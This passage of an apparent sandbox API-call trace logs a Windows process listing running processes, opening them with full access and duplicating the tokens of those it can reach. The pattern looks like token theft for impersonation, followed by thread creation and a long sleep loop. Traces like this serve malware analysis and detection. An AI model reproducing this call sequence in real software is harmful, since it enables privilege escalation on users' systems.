ResultLength=0x0 | out: SystemInformation=0x2f8a560, ResultLength=0x0) returned 0xc0000004 [0163.319] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f8a560, Size=0x9144) returned 0x2f8a560 [0163.319] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2f8a560, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2f8a560, ResultLength=0x0) returned 0xc0000004 [0163.320] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f8a560, Size=0xa168) returned 0x2f8a560 [0163.320] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2f8a560, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2f8a560, ResultLength=0x0) returned 0xc0000004 [0163.321] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f8a560, Size=0xb18c) returned 0x2f8a560 [0163.321] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2f8a560, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2f8a560, ResultLength=0x0) returned 0xc0000004 [0163.322] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f8a560, Size=0xc1b0) returned 0x2f8a560 [0163.322] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2f8a560, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2f8a560, ResultLength=0x0) returned 0xc0000004 [0163.322] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f8a560, Size=0xd1d4) returned 0x2f8a560 [0163.322] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2f8a560, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2f8a560, ResultLength=0x0) returned 0xc0000004 [0163.322] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f8a560, Size=0xe1f8) returned 0x2f8a560 [0163.322] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2f8a560, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2f8a560, ResultLength=0x0) returned 0xc0000004 [0163.323] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f8a560, Size=0xf21c) returned 0x2f8a560 [0163.323] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2f8a560, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2f8a560, ResultLength=0x0) returned 0xc0000004 [0163.323] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f8a560, Size=0x10240) returned 0x2f8a560 [0163.323] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2f8a560, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2f8a560, ResultLength=0x0) returned 0xc0000004 [0163.323] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f8a560, Size=0x11264) returned 0x2f9a7a8 [0163.431] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2f9a7a8, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2f9a7a8, ResultLength=0x0) returned 0xc0000004 [0163.433] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f9a7a8, Size=0x12288) returned 0x2faebc8 [0163.454] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2faebc8, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x2faebc8, ResultLength=0x0) returned 0xc0000004 [0163.455] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2faebc8, Size=0x132ac) returned 0x2faebc8 [0163.455] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2faebc8, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x2faebc8, ResultLength=0x0) returned 0xc0000004 [0163.456] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2faebc8, Size=0x142d0) returned 0x2faebc8 [0163.456] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2faebc8, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x2faebc8, ResultLength=0x0) returned 0x0 [0163.456] GetCurrentProcessId () returned 0xd94 [0163.456] NtOpenProcess (in: ProcessHandle=0x2c3f888, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f868*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f880*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x2c3f888*=0x0) returned 0xc0000022 [0163.456] NtOpenProcess (in: ProcessHandle=0x2c3f888, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f868*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f880*(UniqueProcess=0x140, UniqueThread=0x0) | out: ProcessHandle=0x2c3f888*=0x0) returned 0xc0000022 [0163.456] NtOpenProcess (in: ProcessHandle=0x2c3f888, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f868*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f880*(UniqueProcess=0x198, UniqueThread=0x0) | out: ProcessHandle=0x2c3f888*=0x0) returned 0xc0000022 [0163.456] NtOpenProcess (in: ProcessHandle=0x2c3f888, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f868*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f880*(UniqueProcess=0x1e8, UniqueThread=0x0) | out: ProcessHandle=0x2c3f888*=0x0) returned 0xc0000022 [0163.456] NtOpenProcess (in: ProcessHandle=0x2c3f888, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f868*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f880*(UniqueProcess=0x1f4, UniqueThread=0x0) | out: ProcessHandle=0x2c3f888*=0x0) returned 0xc0000022 [0163.456] NtOpenProcess (in: ProcessHandle=0x2c3f888, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f868*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f880*(UniqueProcess=0x230, UniqueThread=0x0) | out: ProcessHandle=0x2c3f888*=0x0) returned 0xc0000022 [0163.456] NtOpenProcess (in: ProcessHandle=0x2c3f888, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f868*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f880*(UniqueProcess=0x24c, UniqueThread=0x0) | out: ProcessHandle=0x2c3f888*=0x0) returned 0xc0000022 [0163.456] NtOpenProcess (in: ProcessHandle=0x2c3f888, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f868*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f880*(UniqueProcess=0x254, UniqueThread=0x0) | out: ProcessHandle=0x2c3f888*=0x0) returned 0xc0000022 [0163.456] NtOpenProcess (in: ProcessHandle=0x2c3f888, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f868*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f880*(UniqueProcess=0x2ac, UniqueThread=0x0) | out: ProcessHandle=0x2c3f888*=0x0) returned 0xc0000022 [0163.456] NtOpenProcess (in: ProcessHandle=0x2c3f888, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f868*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f880*(UniqueProcess=0x2b4, UniqueThread=0x0) | out: ProcessHandle=0x2c3f888*=0x0) returned 0xc0000022 [0163.456] NtOpenProcess (in: ProcessHandle=0x2c3f888, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f868*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f880*(UniqueProcess=0x2e8, UniqueThread=0x0) | out: ProcessHandle=0x2c3f888*=0x0) returned 0xc0000022 [0163.457] NtOpenProcess (in: ProcessHandle=0x2c3f888, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f868*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f880*(UniqueProcess=0x314, UniqueThread=0x0) | out: ProcessHandle=0x2c3f888*=0x0) returned 0xc0000022 [0163.457] NtOpenProcess (in: ProcessHandle=0x2c3f888, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f868*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f880*(UniqueProcess=0x388, UniqueThread=0x0) | out: ProcessHandle=0x2c3f888*=0x0) returned 0xc0000022 [0163.457] NtOpenProcess (in: ProcessHandle=0x2c3f888, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f868*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f880*(UniqueProcess=0x3c0, UniqueThread=0x0) | out: ProcessHandle=0x2c3f888*=0x0) returned 0xc0000022 [0163.457] NtOpenProcess (in: ProcessHandle=0x2c3f888, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f868*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f880*(UniqueProcess=0x3d0, UniqueThread=0x0) | out: ProcessHandle=0x2c3f888*=0x0) returned 0xc0000022 [0163.457] NtOpenProcess (in: ProcessHandle=0x2c3f888, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f868*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f880*(UniqueProcess=0x3ec, UniqueThread=0x0) | out: ProcessHandle=0x2c3f888*=0x0) returned 0xc0000022 [0163.457] NtOpenProcess (in: ProcessHandle=0x2c3f888, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f868*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f880*(UniqueProcess=0x3fc, UniqueThread=0x0) | out: ProcessHandle=0x2c3f888*=0x0) returned 0xc0000022 [0163.457] NtOpenProcess (in: ProcessHandle=0x2c3f888, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f868*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f880*(UniqueProcess=0x2fc, UniqueThread=0x0) | out: ProcessHandle=0x2c3f888*=0x0) returned 0xc0000022 [0163.457] NtOpenProcess (in: ProcessHandle=0x2c3f888, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f868*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f880*(UniqueProcess=0x44c, UniqueThread=0x0) | out: ProcessHandle=0x2c3f888*=0x0) returned 0xc0000022 [0163.457] NtOpenProcess (in: ProcessHandle=0x2c3f888, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f868*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f880*(UniqueProcess=0x4c8, UniqueThread=0x0) | out: ProcessHandle=0x2c3f888*=0x0) returned 0xc0000022 [0163.457] NtOpenProcess (in: ProcessHandle=0x2c3f888, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f868*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f880*(UniqueProcess=0x510, UniqueThread=0x0) | out: ProcessHandle=0x2c3f888*=0x0) returned 0xc0000022 [0163.457] NtOpenProcess (in: ProcessHandle=0x2c3f888, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f868*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f880*(UniqueProcess=0x528, UniqueThread=0x0) | out: ProcessHandle=0x2c3f888*=0x0) returned 0xc0000022 [0163.457] NtOpenProcess (in: ProcessHandle=0x2c3f888, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f868*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f880*(UniqueProcess=0x580, UniqueThread=0x0) | out: ProcessHandle=0x2c3f888*=0x0) returned 0xc0000022 [0163.457] NtOpenProcess (in: ProcessHandle=0x2c3f888, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f868*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f880*(UniqueProcess=0x5f4, UniqueThread=0x0) | out: ProcessHandle=0x2c3f888*=0x0) returned 0xc0000022 [0163.457] NtOpenProcess (in: ProcessHandle=0x2c3f888, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f868*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f880*(UniqueProcess=0x68c, UniqueThread=0x0) | out: ProcessHandle=0x2c3f888*=0x0) returned 0xc0000022 [0163.457] NtOpenProcess (in: ProcessHandle=0x2c3f888, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f868*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f880*(UniqueProcess=0x6b4, UniqueThread=0x0) | out: ProcessHandle=0x2c3f888*=0x0) returned 0xc0000022 [0163.457] NtOpenProcess (in: ProcessHandle=0x2c3f888, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f868*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f880*(UniqueProcess=0x720, UniqueThread=0x0) | out: ProcessHandle=0x2c3f888*=0x304) returned 0x0 [0163.457] NtOpenProcessToken (in: ProcessHandle=0x304, DesiredAccess=0xf01ff, TokenHandle=0x2c3f88c | out: TokenHandle=0x2c3f88c*=0x308) returned 0x0 [0163.457] GetTokenInformation (in: TokenHandle=0x308, TokenInformationClass=0x1, TokenInformation=0x2f70d80, TokenInformationLength=0x100, ReturnLength=0x2c3f8b0 | out: TokenInformation=0x2f70d80, ReturnLength=0x2c3f8b0) returned 1 [0163.457] ConvertSidToStringSidW () returned 0x1 [0163.457] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f768f8, Size=0x8) returned 0x2faeb30 [0163.457] DuplicateTokenEx (in: hExistingToken=0x308, dwDesiredAccess=0xf01ff, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0x2c3f8a4 | out: phNewToken=0x2c3f8a4*=0x30c) returned 1 [0163.458] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4) returned 0x2faea20 [0163.458] LocalFree (hMem=0x2f87c98) returned 0x0 [0163.458] CloseHandle (hObject=0x308) returned 1 [0163.458] CloseHandle (hObject=0x304) returned 1 [0163.458] NtOpenProcess (in: ProcessHandle=0x2c3f888, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f868*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f880*(UniqueProcess=0x738, UniqueThread=0x0) | out: ProcessHandle=0x2c3f888*=0x304) returned 0x0 [0163.458] NtOpenProcessToken (in: ProcessHandle=0x304, DesiredAccess=0xf01ff, TokenHandle=0x2c3f88c | out: TokenHandle=0x2c3f88c*=0x308) returned 0x0 [0163.458] GetTokenInformation (in: TokenHandle=0x308, TokenInformationClass=0x1, TokenInformation=0x2f70d80, TokenInformationLength=0x100, ReturnLength=0x2c3f8b0 | out: TokenInformation=0x2f70d80, ReturnLength=0x2c3f8b0) returned 1 [0163.458] ConvertSidToStringSidW () returned 0x1 [0163.458] LocalFree (hMem=0x2f87b60) returned 0x0 [0163.458] CloseHandle (hObject=0x308) returned 1 [0163.458] CloseHandle (hObject=0x304) returned 1 [0163.458] NtOpenProcess (in: ProcessHandle=0x2c3f888, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f868*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f880*(UniqueProcess=0x780, UniqueThread=0x0) | out: ProcessHandle=0x2c3f888*=0x0) returned 0xc0000022 [0163.458] NtOpenProcess (in: ProcessHandle=0x2c3f888, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f868*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f880*(UniqueProcess=0x7b0, UniqueThread=0x0) | out: ProcessHandle=0x2c3f888*=0x0) returned 0xc0000022 [0163.458] NtOpenProcess (in: ProcessHandle=0x2c3f888, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f868*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f880*(UniqueProcess=0x478, UniqueThread=0x0) | out: ProcessHandle=0x2c3f888*=0x0) returned 0xc0000022 [0163.458] NtOpenProcess (in: ProcessHandle=0x2c3f888, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f868*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f880*(UniqueProcess=0x844, UniqueThread=0x0) | out: ProcessHandle=0x2c3f888*=0x304) returned 0x0 [0163.458] NtOpenProcessToken (in: ProcessHandle=0x304, DesiredAccess=0xf01ff, TokenHandle=0x2c3f88c | out: TokenHandle=0x2c3f88c*=0x308) returned 0x0 [0163.458] GetTokenInformation (in: TokenHandle=0x308, TokenInformationClass=0x1, TokenInformation=0x2f70d80, TokenInformationLength=0x100, ReturnLength=0x2c3f8b0 | out: TokenInformation=0x2f70d80, ReturnLength=0x2c3f8b0) returned 1 [0163.458] ConvertSidToStringSidW () returned 0x1 [0163.458] LocalFree (hMem=0x2f878f0) returned 0x0 [0163.458] CloseHandle (hObject=0x308) returned 1 [0163.458] CloseHandle (hObject=0x304) returned 1 [0163.458] NtOpenProcess (in: ProcessHandle=0x2c3f888, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f868*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f880*(UniqueProcess=0x9e8, UniqueThread=0x0) | out: ProcessHandle=0x2c3f888*=0x304) returned 0x0 [0163.458] NtOpenProcessToken (in: ProcessHandle=0x304, DesiredAccess=0xf01ff, TokenHandle=0x2c3f88c | out: TokenHandle=0x2c3f88c*=0x308) returned 0x0 [0163.459] GetTokenInformation (in: TokenHandle=0x308, TokenInformationClass=0x1, TokenInformation=0x2f70d80, TokenInformationLength=0x100, ReturnLength=0x2c3f8b0 | out: TokenInformation=0x2f70d80, ReturnLength=0x2c3f8b0) returned 1 [0163.459] ConvertSidToStringSidW () returned 0x1 [0163.459] LocalFree (hMem=0x2f878f0) returned 0x0 [0163.459] CloseHandle (hObject=0x308) returned 1 [0163.459] CloseHandle (hObject=0x304) returned 1 [0163.459] NtOpenProcess (in: ProcessHandle=0x2c3f888, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f868*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f880*(UniqueProcess=0xb7c, UniqueThread=0x0) | out: ProcessHandle=0x2c3f888*=0x304) returned 0x0 [0163.459] NtOpenProcessToken (in: ProcessHandle=0x304, DesiredAccess=0xf01ff, TokenHandle=0x2c3f88c | out: TokenHandle=0x2c3f88c*=0x308) returned 0x0 [0163.459] GetTokenInformation (in: TokenHandle=0x308, TokenInformationClass=0x1, TokenInformation=0x2f70d80, TokenInformationLength=0x100, ReturnLength=0x2c3f8b0 | out: TokenInformation=0x2f70d80, ReturnLength=0x2c3f8b0) returned 1 [0163.459] ConvertSidToStringSidW () returned 0x1 [0163.459] LocalFree (hMem=0x2f87dd0) returned 0x0 [0163.459] CloseHandle (hObject=0x308) returned 1 [0163.459] CloseHandle (hObject=0x304) returned 1 [0163.459] NtOpenProcess (in: ProcessHandle=0x2c3f888, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f868*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f880*(UniqueProcess=0xb84, UniqueThread=0x0) | out: ProcessHandle=0x2c3f888*=0x304) returned 0x0 [0163.459] NtOpenProcessToken (in: ProcessHandle=0x304, DesiredAccess=0xf01ff, TokenHandle=0x2c3f88c | out: TokenHandle=0x2c3f88c*=0x308) returned 0x0 [0163.459] GetTokenInformation (in: TokenHandle=0x308, TokenInformationClass=0x1, TokenInformation=0x2f70d80, TokenInformationLength=0x100, ReturnLength=0x2c3f8b0 | out: TokenInformation=0x2f70d80, ReturnLength=0x2c3f8b0) returned 1 [0163.459] ConvertSidToStringSidW () returned 0x1 [0163.459] LocalFree (hMem=0x2f87bc8) returned 0x0 [0163.459] CloseHandle (hObject=0x308) returned 1 [0163.459] CloseHandle (hObject=0x304) returned 1 [0163.459] NtOpenProcess (in: ProcessHandle=0x2c3f888, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f868*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f880*(UniqueProcess=0x77c, UniqueThread=0x0) | out: ProcessHandle=0x2c3f888*=0x304) returned 0x0 [0163.459] NtOpenProcessToken (in: ProcessHandle=0x304, DesiredAccess=0xf01ff, TokenHandle=0x2c3f88c | out: TokenHandle=0x2c3f88c*=0x308) returned 0x0 [0163.459] GetTokenInformation (in: TokenHandle=0x308, TokenInformationClass=0x1, TokenInformation=0x2f70d80, TokenInformationLength=0x100, ReturnLength=0x2c3f8b0 | out: TokenInformation=0x2f70d80, ReturnLength=0x2c3f8b0) returned 1 [0163.459] ConvertSidToStringSidW () returned 0x1 [0163.459] LocalFree (hMem=0x2f87a28) returned 0x0 [0163.459] CloseHandle (hObject=0x308) returned 1 [0163.459] CloseHandle (hObject=0x304) returned 1 [0163.460] NtOpenProcess (in: ProcessHandle=0x2c3f888, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f868*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f880*(UniqueProcess=0xcec, UniqueThread=0x0) | out: ProcessHandle=0x2c3f888*=0x0) returned 0xc0000022 [0163.460] NtOpenProcess (in: ProcessHandle=0x2c3f888, DesiredAccess=0x1fffff, ObjectAttributes=0x2c3f868*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2c3f880*(UniqueProcess=0xdbc, UniqueThread=0x0) | out: ProcessHandle=0x2c3f888*=0x304) returned 0x0 [0163.460] NtOpenProcessToken (in: ProcessHandle=0x304, DesiredAccess=0xf01ff, TokenHandle=0x2c3f88c | out: TokenHandle=0x2c3f88c*=0x308) returned 0x0 [0163.460] GetTokenInformation (in: TokenHandle=0x308, TokenInformationClass=0x1, TokenInformation=0x2f70d80, TokenInformationLength=0x100, ReturnLength=0x2c3f8b0 | out: TokenInformation=0x2f70d80, ReturnLength=0x2c3f8b0) returned 1 [0163.460] ConvertSidToStringSidW () returned 0x1 [0163.460] LocalFree (hMem=0x2f87f08) returned 0x0 [0163.460] CloseHandle (hObject=0x308) returned 1 [0163.460] CloseHandle (hObject=0x304) returned 1 [0163.460] LocalFree (hMem=0x2f87d68) returned 0x0 [0163.460] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faeb30) returned 1 [0163.460] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f70d80) returned 1 [0163.460] CloseHandle (hObject=0x2f8) returned 1 [0163.461] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c505a0, lpParameter=0x30c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x304 [0163.462] Sleep (dwMilliseconds=0x64) [0163.768] Sleep (dwMilliseconds=0x64) [0165.703] Sleep (dwMilliseconds=0x64) [0168.748] Sleep (dwMilliseconds=0x64) [0170.947] Sleep (dwMilliseconds=0x64) [0173.980] Sleep (dwMilliseconds=0x64) [0175.498] Sleep (dwMilliseconds=0x64) [0176.643] Sleep (dwMilliseconds=0x64) [0177.520] Sleep (dwMilliseconds=0x64) [0177.909] Sleep (dwMilliseconds=0x64) [0178.596] Sleep (dwMilliseconds=0x64) [0179.277] Sleep (dwMilliseconds=0x64) [0179.634] Sleep (dwMilliseconds=0x64) [0180.403] Sleep (dwMilliseconds=0x64) [0180.721] Sleep (dwMilliseconds=0x64) [0181.532] Sleep (dwMilliseconds=0x64) [0182.006] Sleep (dwMilliseconds=0x64) [0182.269] Sleep (dwMilliseconds=0x64) [0182.704] Sleep (dwMilliseconds=0x64) [0183.391] Sleep (dwMilliseconds=0x64) [0183.514] Sleep (dwMilliseconds=0x64) [0183.651] Sleep (dwMilliseconds=0x64) [0183.817] Sleep (dwMilliseconds=0x64) [0183.932] Sleep (dwMilliseconds=0x64) [0184.068] Sleep (dwMilliseconds=0x64) [0184.217] Sleep (dwMilliseconds=0x64) [0184.364] Sleep (dwMilliseconds=0x64) [0184.513] Sleep (dwMilliseconds=0x64) [0184.667] Sleep (dwMilliseconds=0x64) [0184.787] Sleep (dwMilliseconds=0x64) [0185.014] Sleep (dwMilliseconds=0x64) [0185.485] Sleep (dwMilliseconds=0x64) [0185.648] Sleep (dwMilliseconds=0x64) [0185.810] Sleep (dwMilliseconds=0x64) [0185.960] Sleep (dwMilliseconds=0x64) [0186.065] Sleep (dwMilliseconds=0x64) [0186.244] Sleep (dwMilliseconds=0x64) [0186.425] Sleep (dwMilliseconds=0x64) [0186.562] Sleep (dwMilliseconds=0x64) [0186.701] Sleep (dwMilliseconds=0x64) [0186.831] Sleep (dwMilliseconds=0x64) [0186.983] Sleep (dwMilliseconds=0x64) [0187.093] Sleep (dwMilliseconds=0x64) [0187.235] Sleep (dwMilliseconds=0x64) [0187.410] Sleep (dwMilliseconds=0x64) [0187.626] Sleep (dwMilliseconds=0x64) [0187.744] Sleep (dwMilliseconds=0x64) [0187.887] Sleep (dwMilliseconds=0x64) [0188.016] Sleep (dwMilliseconds=0x64) [0188.160] Sleep (dwMilliseconds=0x64) [0188.300] Sleep (dwMilliseconds=0x64) [0188.419] Sleep (dwMilliseconds=0x64) [0188.539] Sleep (dwMilliseconds=0x64) [0188.700] Sleep (dwMilliseconds=0x64) [0188.817] Sleep (dwMilliseconds=0x64) [0189.000] Sleep (dwMilliseconds=0x64) [0189.156] Sleep (dwMilliseconds=0x64) [0189.293] Sleep (dwMilliseconds=0x64) [0189.447] Sleep (dwMilliseconds=0x64) [0189.609] Sleep (dwMilliseconds=0x64) [0189.719] Sleep (dwMilliseconds=0x64) [0190.360] Sleep (dwMilliseconds=0x64) [0190.517] Sleep (dwMilliseconds=0x64) [0190.691] Sleep (dwMilliseconds=0x64) [0190.834] Sleep (dwMilliseconds=0x64) [0190.966] Sleep (dwMilliseconds=0x64) [0191.112] Sleep (dwMilliseconds=0x64) [0191.223] Sleep (dwMilliseconds=0x64) [0191.381] Sleep (dwMilliseconds=0x64) [0191.547] Sleep (dwMilliseconds=0x64) [0191.666] Sleep (dwMilliseconds=0x64) [0191.796] Sleep (dwMilliseconds=0x64) [0191.947] Sleep (dwMilliseconds=0x64) [0192.079] Sleep (dwMilliseconds=0x64) [0192.219] Sleep (dwMilliseconds=0x64) [0192.410] Sleep (dwMilliseconds=0x64) [0192.548] Sleep (dwMilliseconds=0x64) [0192.705] Sleep (dwMilliseconds=0x64) [0192.837] Sleep (dwMilliseconds=0x64) [0192.987] Sleep (dwMilliseconds=0x64) [0193.150] Sleep 